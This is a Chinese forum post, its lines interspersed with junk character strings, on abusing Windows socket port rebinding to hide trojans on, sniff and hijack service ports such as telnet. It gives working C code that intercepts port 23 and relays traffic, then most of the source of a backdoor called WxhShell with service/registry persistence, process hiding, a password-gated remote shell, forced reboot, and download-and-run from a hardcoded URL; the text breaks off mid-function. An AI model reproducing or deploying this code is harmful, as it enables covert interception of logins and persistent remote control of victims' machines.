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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;a?<7LIx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0`E G-Hw  
0d+n[Go+S  
  saddr.sin_family = AF_INET; f&CQn.K"  
O[d#-0s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gY7sf1\wX  
EK# 11@0%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Phi5;U!  
QD7KE6KP'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =DdPwr 0Op  
Rrh6-]A  
  这意味着什么?意味着可以进行如下的攻击: 4bk`i*-O  
[RXLR#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Fv]6 a n.  
+6uf6&.@~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H~yHSm 3  
?pZ"7kkD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _#V&rY&@  
e:HORc~U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i+14!LlI  
8-@@QZ\N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YC1Bgz  
AO5&Y.A#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |tAkv  
P;.roD9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4~Qnhv7  
C<_\{de|9  
  #include vD8pVR+  
  #include ^`!+7!  
  #include <TVJ9l  
  #include    <}lah%4F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kSV(T'#x  
  int main() :6o%x0l  
  { g?80>-!bF  
  WORD wVersionRequested;  D_dv8  
  DWORD ret; ,a&,R*r@&  
  WSADATA wsaData; +(= -95qZ  
  BOOL val; ZP~H!  
  SOCKADDR_IN saddr; 2Vti|@JYp  
  SOCKADDR_IN scaddr; E#_/#J]UQn  
  int err; ~R[ k^i.Y  
  SOCKET s; $9?:P}$v  
  SOCKET sc; )jXKPLj  
  int caddsize; cD]H~D}M  
  HANDLE mt; '!A}.wF0  
  DWORD tid;   ho$}#o  
  wVersionRequested = MAKEWORD( 2, 2 ); gM&O dT+i  
  err = WSAStartup( wVersionRequested, &wsaData ); by+xK~>  
  if ( err != 0 ) { Q~(Qh_Ff  
  printf("error!WSAStartup failed!\n"); `xx.,;S  
  return -1; "*HM8\  
  } %T$>E7]!  
  saddr.sin_family = AF_INET; |Ogh-<|<  
   d;<'28A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J;~YD$  
gHc1_G]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `^#4okg]  
  saddr.sin_port = htons(23); tf6-DmMH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9n is8  
  { _`p-^ I  
  printf("error!socket failed!\n"); f/c&Ya(D~  
  return -1; W0MgY%Qv[  
  } /:]<z6R  
  val = TRUE; EC5 = 2w<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p@O Ip  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9<0yz?b':  
  { D} B?~Lls  
  printf("error!setsockopt failed!\n"); QuEX|h,F  
  return -1; _IdW5G  
  } E`.hM}h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wbJBGT{sm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xTu J~$(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C) R hld  
;=$;h6W0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N$Ad9W?T  
  { DzMg^Kp  
  ret=GetLastError(); ;_SSR8uHv  
  printf("error!bind failed!\n"); PX/Y?DP  
  return -1; } r(b:}DN  
  } %\,9S`0  
  listen(s,2); w>cqsTq  
  while(1) 4v/MZ:%C`  
  { i$%Bo/Y   
  caddsize = sizeof(scaddr); #<==7X#  
  //接受连接请求 3QBzyJW f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YFS6YA  
  if(sc!=INVALID_SOCKET) ^%zhj3#  
  { a(6h`GHo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O'IU1sU  
  if(mt==NULL) aL[6}U0(}  
  { $adZ|Q\  
  printf("Thread Creat Failed!\n"); LA_{[VWYp>  
  break; Z@dVK`nD  
  } p%meuWV%5  
  } r!f UMDS  
  CloseHandle(mt); XX /s@C  
  } +@^);b6  
  closesocket(s); Z5(9=8hB/  
  WSACleanup(); O=+$X Pa|  
  return 0; l+ >eb  
  }   @k h<b<a4  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'I/_vqp@  
  { u$^tRz9  
  SOCKET ss = (SOCKET)lpParam; V6P-?Nd  
  SOCKET sc; 8u~  
  unsigned char buf[4096]; CR'%=N04^  
  SOCKADDR_IN saddr; }~+,x#  
  long num; [HY r|T  
  DWORD val; \Aro Sy9  
  DWORD ret; s*la`(x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9}9VZ r?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bz_'>6w  
  saddr.sin_family = AF_INET; AcuF0KWw/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #PD6LO  
  saddr.sin_port = htons(23); )%Fwfb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HQ-+ +;Q  
  { .+u b\  
  printf("error!socket failed!\n");  <EU R:  
  return -1; B ktRA  
  } p}JOiiHa  
  val = 100; ` 'Qb?F6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A_9^S!  
  { ?'P}ZC8P  
  ret = GetLastError(); .c-a$39  
  return -1; G~<UP(G  
  } `Fn"QL-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rT[qh+KWe  
  { @/<UhnI  
  ret = GetLastError(); `?Q p>t  
  return -1; 7m-%  
  } ;`#R9\C=h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hNN[djR  
  { 0h@FHw2d  
  printf("error!socket connect failed!\n"); WSHPh hM  
  closesocket(sc); D8Fi{?A#FV  
  closesocket(ss); 4=tR_s  
  return -1; f zo'9  
  } (*$bTI/~  
  while(1) 4MS<t FH)  
  { N;|^C{uz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lg7A[\c ~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *vaYI3{qN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,_3hbT8Q  
  num = recv(ss,buf,4096,0); O6;"cUv  
  if(num>0) Tsg9,/vXM  
  send(sc,buf,num,0); KR aL+A  
  else if(num==0) O{X~,Em=q  
  break; _!',%  +  
  num = recv(sc,buf,4096,0); 5YD~l(,S1]  
  if(num>0) h+g\tYWGP  
  send(ss,buf,num,0); Ki;SONSV~|  
  else if(num==0) )]1hN;Nz  
  break; 1]7gYNzV"  
  } Ym6d'd<9(  
  closesocket(ss); aZA ``#p+  
  closesocket(sc); vamZKm~p  
  return 0 ; .Fn|Okn^gr  
  } 4KH492Nq9  
=5+*TL`  
$,4h\>1WP  
========================================================== "313eeIt%i  
NHGTV$T`1  
下边附上一个代码,,WXhSHELL \]9)%3I  
q\0/6tl_  
========================================================== )dT@0Ys%  
Vx_33";S\  
#include "stdafx.h" _M^.4H2  
CZ5\Et6r  
#include <stdio.h> %T/@/,7h  
#include <string.h> KrE 'M  
#include <windows.h> ntW@Fm:bw>  
#include <winsock2.h> 9|+6@6VY!  
#include <winsvc.h> mOE *[S)  
#include <urlmon.h> s\ -,RQ1  
.9jKD*U|  
#pragma comment (lib, "Ws2_32.lib") z]G|)16  
#pragma comment (lib, "urlmon.lib") (>v'0 RA  
\/NF??k,jk  
#define MAX_USER   100 // 最大客户端连接数 ukWn@q*  
#define BUF_SOCK   200 // sock buffer 1-_r\sb  
#define KEY_BUFF   255 // 输入 buffer \fA{sehdL  
5f-b>=02  
#define REBOOT     0   // 重启 ^dQ{vL@9b9  
#define SHUTDOWN   1   // 关机 @tH9$J*Y<  
=hPXLCeC  
#define DEF_PORT   5000 // 监听端口 0xB2  
Qz~uD'Rs/  
#define REG_LEN     16   // 注册表键长度 i>F=XE  
#define SVC_LEN     80   // NT服务名长度 3P cVE\GN  
":Wq<Z'  
// 从dll定义API kWzN {]v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EbC!tR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >@YefNX6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]O@$}B];)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qLN\%}69/  
&R94xh%@(  
// wxhshell配置信息 &|hK79D  
struct WSCFG { I%[e6qX@  
  int ws_port;         // 监听端口 "`vRHeCKN  
  char ws_passstr[REG_LEN]; // 口令 ]b4WfIu  
  int ws_autoins;       // 安装标记, 1=yes 0=no "j^i6RS  
  char ws_regname[REG_LEN]; // 注册表键名 g*Y, .  
  char ws_svcname[REG_LEN]; // 服务名 [?!I*=*b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6}4})B2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DP ? d C`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S#/%#k103  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *pKTJP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }47h0 i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )[Y B&  
C 0w+ j  
}; lE:g A,  
#oUNF0L@6  
// default Wxhshell configuration aB]0?C y9(  
struct WSCFG wscfg={DEF_PORT, 2xI|G 3U  
    "xuhuanlingzhe", 4<efj  
    1, [{x}# oRSE  
    "Wxhshell", xnP!P2  
    "Wxhshell", ^jdU4  
            "WxhShell Service", ag=d6q  
    "Wrsky Windows CmdShell Service", t'qYM5  
    "Please Input Your Password: ", >yBq i^aL  
  1, lPTx] =G  
  "http://www.wrsky.com/wxhshell.exe", GtA`0B  
  "Wxhshell.exe" P?54"$b  
    }; +EETo):  
FcDS*ZEk!  
// 消息定义模块 4.RQ3SoDa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zKJ2 ~=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .|UQ)J?s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Cx5m   
char *msg_ws_ext="\n\rExit."; ?e7]U*jEU  
char *msg_ws_end="\n\rQuit."; OmYVJt_  
char *msg_ws_boot="\n\rReboot..."; M^FY6TT4O  
char *msg_ws_poff="\n\rShutdown..."; c`;\sW-_W  
char *msg_ws_down="\n\rSave to "; zzqJeIS  
Uzu6>yT  
char *msg_ws_err="\n\rErr!"; [M?2axOC  
char *msg_ws_ok="\n\rOK!"; HgI!q<)  
x]~TGzS  
char ExeFile[MAX_PATH]; \/A.j|by,>  
int nUser = 0; YG p+[|'  
HANDLE handles[MAX_USER]; dAo;y.3  
int OsIsNt; k+3qX'fd  
8%?y)K^ D  
SERVICE_STATUS       serviceStatus; K1B9t{T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \@LTXH.  
^J!q>KJs  
// 函数声明 bx@l6bpQ  
int Install(void); V~J5x >O  
int Uninstall(void); qQ&uU7,#  
int DownloadFile(char *sURL, SOCKET wsh); Cs'LrUB?=U  
int Boot(int flag);  N;7/C  
void HideProc(void); `8:0x?X  
int GetOsVer(void); nwRltK  
int Wxhshell(SOCKET wsl); pSZ2>^";  
void TalkWithClient(void *cs); 6cQgp]%  
int CmdShell(SOCKET sock); 1>!LK_  
int StartFromService(void); gq?:n.;TY  
int StartWxhshell(LPSTR lpCmdLine); Tkbao D  
I[ \~ pi,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UM}u(;oo%)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7R+(3NU1A  
6b|?@  
// 数据结构和表定义 eL!41_QI  
SERVICE_TABLE_ENTRY DispatchTable[] = sV^:u^  
{ ']]d-~:  
{wscfg.ws_svcname, NTServiceMain}, ~/ %Xm<  
{NULL, NULL} s\ IKSoE  
}; *7BfK(9T  
NW3 c_]`=  
// 自我安装 4zug9kFK  
int Install(void) my=f}%k=  
{ F MfpjuHk  
  char svExeFile[MAX_PATH]; t^t% >9o  
  HKEY key; taQE r 2Zy  
  strcpy(svExeFile,ExeFile); YIU3}sJ!  
D:)Wr, 26  
// 如果是win9x系统,修改注册表设为自启动 cs9^&N:w[  
if(!OsIsNt) { JTlk[ c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rr<E#w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >ZA=9v  
  RegCloseKey(key); bp1AN9~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .8hI ad  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8xpplo8  
  RegCloseKey(key); Dn- gP  
  return 0; 7ubz7*  
    } p7?  
  } vDy&sgS$<  
} p7h#.m~Qu  
else { WWT1= #"  
EeIDlm0o  
// 如果是NT以上系统,安装为系统服务 }\pI`;*O|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f)I5=Ijy(  
if (schSCManager!=0) tF2"IP.  
{ ~5 ^Jv m  
  SC_HANDLE schService = CreateService H'+7z-% G  
  ( {4"V)9o-1>  
  schSCManager, :5d>^6eoB?  
  wscfg.ws_svcname, S{Y zHK  
  wscfg.ws_svcdisp, BHXi g~d  
  SERVICE_ALL_ACCESS, OWd'z1Yl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L9x-90'q,  
  SERVICE_AUTO_START, v gN!9  
  SERVICE_ERROR_NORMAL, (FuIOR  
  svExeFile, U ZZJtQt  
  NULL, n|`3d~9$&  
  NULL, n ]ikc|  
  NULL, XtF m5\U  
  NULL, DwD$T%kF  
  NULL Bd>~F7VWs  
  ); $ {Z0@G+  
  if (schService!=0) Xtp8 ^4Va  
  { 1uF$$E6[  
  CloseServiceHandle(schService); Q YJ EUC@  
  CloseServiceHandle(schSCManager); cHFi(K]|1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0X$mT:=9  
  strcat(svExeFile,wscfg.ws_svcname); 99m2aT()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,d G.67  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ``o]i{x  
  RegCloseKey(key); Z`Yt~{,Q  
  return 0; pwUXM?$R  
    } eH&F gmU  
  } ^aFm6HS1  
  CloseServiceHandle(schSCManager); 9I/b$$?D  
} MNT~[Z9L5G  
} rk=D5E7  
^xo<$zn  
return 1; .nV2 n@SR  
} dZM^?rq  
jX53 owZ  
// 自我卸载 [^H2'&]  
int Uninstall(void) xn8K OwX%  
{ jU,Xlgz(A  
  HKEY key; =8^+M1I  
OLw]BJXYaE  
if(!OsIsNt) { e3~MU6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -@TY8#O#-  
  RegDeleteValue(key,wscfg.ws_regname); 9+.wj/75  
  RegCloseKey(key); Uqr>8|t?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R!nf^*~  
  RegDeleteValue(key,wscfg.ws_regname);  vSzpx  
  RegCloseKey(key); t0)1;aBZ  
  return 0; 8`=?_zF  
  } 8&<:(mAP  
} rTD+7 )E  
} ?vXgHDs^T  
else { gLiJ&H  
6W1GvM\e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dBWny&  
if (schSCManager!=0) b F=MQ  
{ s.3"2waZ=T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _\!]MV  
  if (schService!=0) \j8vf0c5b  
  { ]TV_ p[L0B  
  if(DeleteService(schService)!=0) {  tm1 =  
  CloseServiceHandle(schService); pP<8zTLn  
  CloseServiceHandle(schSCManager); c{#2;k Q,  
  return 0; /qpSmRL  
  } h$S#fY8   
  CloseServiceHandle(schService); Y\xEPh  
  } 'K[ml ?_  
  CloseServiceHandle(schSCManager); oqrx7 +0{  
} V^~RDOSy7n  
} g?j)p y  
FaHOutP  
return 1; =~^b  
} =?sG~  
"~KDm(D  
// 从指定url下载文件 PN* .9;5Z  
int DownloadFile(char *sURL, SOCKET wsh) )ycI.[C  
{ -H| 9 82=  
  HRESULT hr; .qBc;u  
char seps[]= "/"; k %I83,+  
char *token; qpQ;,8X-"  
char *file; *yq65yZi5  
char myURL[MAX_PATH]; x6ghO-s  
char myFILE[MAX_PATH]; j#HXuV6  
}1a}pm2p  
strcpy(myURL,sURL); ["Zvwes#7  
  token=strtok(myURL,seps); .#EU@Hc  
  while(token!=NULL) \S}/2]* 1  
  { zAgX{$/Fg  
    file=token; Z0gtliJ@  
  token=strtok(NULL,seps); ;QI9OcE@/  
  } l u=a e<M  
wMa8HeBE\  
GetCurrentDirectory(MAX_PATH,myFILE); %ms%0%  
strcat(myFILE, "\\"); F)3+IuY  
strcat(myFILE, file); lyn%r  
  send(wsh,myFILE,strlen(myFILE),0); @@d_F<Ym[  
send(wsh,"...",3,0); Rv1W&s&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  Y@,iDQ  
  if(hr==S_OK) NAYLlW}A  
return 0; *V>?m6y/  
else 7FX4|]  
return 1; Pz)lq2Zm9  
h nydH-;cz  
} /9vi  
[ATJ! O  
// 系统电源模块 /t5)&  
int Boot(int flag) J[/WBVFDf  
{ OB>Hiy   
  HANDLE hToken; S-t#d7'B  
  TOKEN_PRIVILEGES tkp; *-VRkS-G  
ay"jWL-  
  if(OsIsNt) { {C |R@S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v,4{:y]p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +C~h(  
    tkp.PrivilegeCount = 1; >Kgw2,y+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nd8>p.iqO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CKAd\L   
if(flag==REBOOT) { 8/e-?2l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EQ%ooAb8  
  return 0; Yf0 KG  
} =VC18yA  
else { I}f`iBG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @SfQbM##%  
  return 0; IDct!53~  
} k 9i W1  
  } >$ q   
  else { :a wt7lqv  
if(flag==REBOOT) { 4v[y^P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _i_='dsyW/  
  return 0; C qd\n#d/~  
} 2 6#p,P  
else { v l"8Oi*r^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GRZz@bAO?$  
  return 0; \`Hp/D1  
} ?N kKDvv  
} ^'3c%&Zf3  
jY6GWsh:9  
return 1; %QP[/5vQ  
} *_D/_Rp7  
161P%sGx2  
// win9x进程隐藏模块 , Ckcc  
void HideProc(void) la[ pA  
{ D e&,^"%  
WD5J2EePT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (MGg r  
  if ( hKernel != NULL ) J[lC$X[  
  { Hq.rG-,p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eV7;#w<]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vr2A7kq  
    FreeLibrary(hKernel); gP_N|LuF"  
  } 0ix(1`Z  
>u=  
return; "FHJ_$!  
} Q,?_;,I}  
xG!~TQ  
// 获取操作系统版本 ^ `LqNG  
int GetOsVer(void) P2n8HFi  
{ cSL6V2F  
  OSVERSIONINFO winfo; *\ii +f-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I`_2Q:r  
  GetVersionEx(&winfo); Snr(<u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l";Yw]:^  
  return 1; f' A$':Y  
  else fHiL%]z  
  return 0; yD"]:ts3  
} ^4=#, K  
rK gl:s j+  
// 客户端句柄模块 [O3:?BNY  
int Wxhshell(SOCKET wsl) 9'MGv*Ho  
{ z;JV3) E  
  SOCKET wsh; @]qP:h.  
  struct sockaddr_in client; = l(euBb  
  DWORD myID; )kep:-wm  
^ZMbJe%L  
  while(nUser<MAX_USER) rrL.Y&DTK  
{ [,Ehu<mEK  
  int nSize=sizeof(client); L<FXtBJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E{ /, b)  
  if(wsh==INVALID_SOCKET) return 1; /LFuf`bXV  
/8; m.J>bf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /&Q{B f  
if(handles[nUser]==0) 'T eH(?3G  
  closesocket(wsh); n/ KO{:  
else (d4btcg  
  nUser++; V]|X ,G  
  } ,I"T9k-^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B:h<iU:'D  
|_?e.}K  
  return 0; >XtfT'  
} 5 `1  
gnJ8tuS  
// 关闭 socket AM+5_'S,  
void CloseIt(SOCKET wsh) kQkc+sGJf  
{ 36.,:!%p  
closesocket(wsh); }MaY:PMA  
nUser--; WW:G( \`  
ExitThread(0); ^ ]9K>}  
} I/7!5Z*  
[1rQ'FBB^1  
// 客户端请求句柄 {JfQQP&FV  
void TalkWithClient(void *cs) IHTim T?  
{  Qxz[  
_r-LX"  
  SOCKET wsh=(SOCKET)cs; :9QU\{2  
  char pwd[SVC_LEN]; [|:{qQyD  
  char cmd[KEY_BUFF]; vzS b(  
char chr[1]; egu{}5  
int i,j; `4*I1WZW  
'OnfU{Ai  
  while (nUser < MAX_USER) { ]q"&V\b  
1h@qcom9K_  
if(wscfg.ws_passstr) { ]ogifnwv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yv-R<c!'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CE3l_[c  
  //ZeroMemory(pwd,KEY_BUFF); b/_Zw^DPC  
      i=0; /MtmO$ .  
  while(i<SVC_LEN) { eu5te0{G  
QVjHGY*R  
  // 设置超时 r6F TpOF  
  fd_set FdRead; n~629&  
  struct timeval TimeOut; ^/#+0/Bn  
  FD_ZERO(&FdRead); e_b,{l#  
  FD_SET(wsh,&FdRead); Rs=Fcvl  
  TimeOut.tv_sec=8; !` 1h *}  
  TimeOut.tv_usec=0; Z 7@'I0;A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GQt5GOt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P|Aac,nE+^  
|*?N#0s5h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'bx}[  
  pwd=chr[0]; Z8=?Hu  
  if(chr[0]==0xd || chr[0]==0xa) { THwM',6  
  pwd=0; Fizrsr 6%  
  break; k^oSG1F  
  } eP2Q2C8g  
  i++; K#A&  
    } o'lG9ePM|  
"[ LUv5  
  // 如果是非法用户,关闭 socket A'w+Lc.2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eP~3m  
} 6 :4GI  
DG;u_6;JR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n@`3O'S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w}1IP-  
`)a|Q  
while(1) { 4&NB xe  
TzC(YWt  
  ZeroMemory(cmd,KEY_BUFF); ,P <I<QYu  
r)S:= Is5  
      // 自动支持客户端 telnet标准   =+X*$'<J  
  j=0; ZTTA??}Y  
  while(j<KEY_BUFF) { q-t%spkl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eSoX|2g  
  cmd[j]=chr[0]; _j+,'\B  
  if(chr[0]==0xa || chr[0]==0xd) { *{?2M6Z  
  cmd[j]=0; N d>zq  
  break; E{6ku=2F  
  } k?h{ 6Qd  
  j++; Mzg3i*  
    } NATi)A"TZ  
:(enaHn#~  
  // 下载文件 _A]jiPq  
  if(strstr(cmd,"http://")) { *?Eu{J){7%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]yKwH 9sl  
  if(DownloadFile(cmd,wsh)) wp:$Tqa$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8TYh&n=r  
  else eQQVfEvS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .:H'9QJg  
  } U+VJiz<!  
  else { <@`K^g;W  
~6#mVP5sU)  
    switch(cmd[0]) { s;h`n$  
  !& c%!*  
  // 帮助 > X  AB#  
  case '?': { =x w:@(]{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;2h"YU-b  
    break; cV:Q(|QC  
  } ?Ho$fGz  
  // 安装 fXevr `  
  case 'i': { h`fZ 8|yw  
    if(Install()) 36'J9h\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZ`6iK-V_  
    else {;bec%pq0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] Q^8 9?  
    break; ])pX)(a  
    } R&s/s`pLW  
  // 卸载 G%gdI3h1Z  
  case 'r': { ;\"Nekd|  
    if(Uninstall()) yzpa\[^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RGV{KL  
    else BCExhp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P9\y~W  
    break;  qjfv9sU  
    } ^ &KH|qRrO  
  // 显示 wxhshell 所在路径 y3*IF2G  
  case 'p': {  UDpI @  
    char svExeFile[MAX_PATH]; $_ $%L0)5  
    strcpy(svExeFile,"\n\r"); #euOq  
      strcat(svExeFile,ExeFile); ;2 o{ 6  
        send(wsh,svExeFile,strlen(svExeFile),0); p"\-iY]  
    break; JK md'ZGw  
    } 3!;o\bgK  
  // 重启 )P1NX"A  
  case 'b': { ivdPF dJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }J5iY0  
    if(Boot(REBOOT)) unL1/JY z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oQyMs>g  
    else { T5~Qfl?Y  
    closesocket(wsh); #oGvxc7  
    ExitThread(0); " 6$+B/5  
    } g 'L$m|  
    break; yyR@kOGga  
    } ~$a%& ]\  
  // 关机 K6<1&  
  case 'd': { w*SFQ_6YE  
